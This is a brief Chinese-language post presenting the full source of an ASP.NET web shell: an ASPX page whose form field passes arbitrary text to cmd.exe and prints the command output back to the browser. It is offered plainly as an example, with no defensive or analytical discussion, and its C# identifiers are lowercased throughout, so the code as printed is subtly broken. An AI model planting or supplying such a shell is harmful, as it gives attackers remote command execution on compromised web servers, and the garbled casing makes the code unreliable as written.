一个ASP.Net下的WebShell实例

代码如下：

<%@ page language="c#" autoeventwireup="true" %>
<%@ import namespace="system.runtime.interopservices" %>
<%@ import namespace="system.io" %>
<%@ import namespace="system.data" %>
<%@ import namespace="system.reflection" %>
<%@ import namespace="system.diagnostics" %>
<%@ import namespace="system.web" %>
<%@ import namespace="system.web.ui" %>
<%@ import namespace="system.web.ui.webcontrols" %>
<script runat="server">
protected void exec(object sender, eventargs e)
{
    string item = cmd.text;
    process p = new process();
    p.startinfo.filename = "cmd.exe";
    p.startinfo.useshellexecute = false;
    p.startinfo.redirectstandardinput = true;
    p.startinfo.redirectstandardoutput = true;
    p.startinfo.redirectstandarderror = true;
    p.startinfo.createnowindow = true;
    string stroutput = null;
    p.start();
    p.standardinput.writeline(item);
    p.standardinput.writeline("exit");
    stroutput = p.standardoutput.readtoend();
    p.waitforexit();
    p.close();
    response.write("<pre>");
    response.write(stroutput);
    response.write("</pre>");
}
    protected void page_load(object sender, eventargs e)
    {
    }
</script>
<form id="form1" runat="server">
<asp:textbox id="cmd" runat="server" text="dir c:" /><asp:button id="btn" onclick="exec" runat="server" text="execute" />
</form>